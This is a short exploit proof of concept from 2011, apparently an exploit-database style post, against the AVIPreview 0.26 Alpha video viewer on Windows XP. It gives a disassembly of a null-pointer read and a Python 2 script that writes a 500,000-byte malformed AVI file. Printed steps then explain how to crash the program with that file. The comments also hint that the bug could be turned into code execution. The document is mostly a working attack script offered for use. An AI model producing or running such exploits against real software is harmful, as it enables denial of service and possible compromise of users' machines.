# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2011.03.15
# published: 2011.03.15
# tested on: Windows XP SP3 Home Edition
 
# App:              AVIPreview 0.26 Alpha
# App Url:          http://www.divx-digest.com/software/avipreview_aj.html
# AVIPreview.exe    MD5: 399ab43edd26c655d0876dc5ddcaa3a7
 
# DoS is caused by Access Violation Exception, app reads memory via null pointer
 
# 00405B59  8B0D E0B14100   MOV ECX,DWORD PTR DS:[41B1E0]       <-- Read from .data section DD 0h
# 00405B5F  8B11            MOV EDX,DWORD PTR DS:[ECX]          <-- Exception, but if EDX is a pointer to SH
# 00405B61  A1 E0B14100     MOV EAX,DWORD PTR DS:[41B1E0]
# 00405B66  50              PUSH EAX
# 00405B67  FF52 30         CALL DWORD PTR DS:[EDX+30]          <-- We will have LCE
 
# if exploiter can force something minigfull to ECX (.data is RW)
# so he/she will have code execution
 
path = "C:\\DoS.avi"
f = open(path, "wb")
f.write('\x41' * 500000)
f.close()
 
print "File generated: " + path
print "In order to DoS AVIPreview 0.26 Alpha execute following steps\n"
 
print "1. Open file '" + path + "'in AVIPreview, application will show MessageBox with error, but will not crash"
print "2. Select 'No', otherway AVIPreview will pop-up browser"
print "3. Navigate to File menu and pick recent file (which point to our AVI file)"
print "4. You have DoS :>"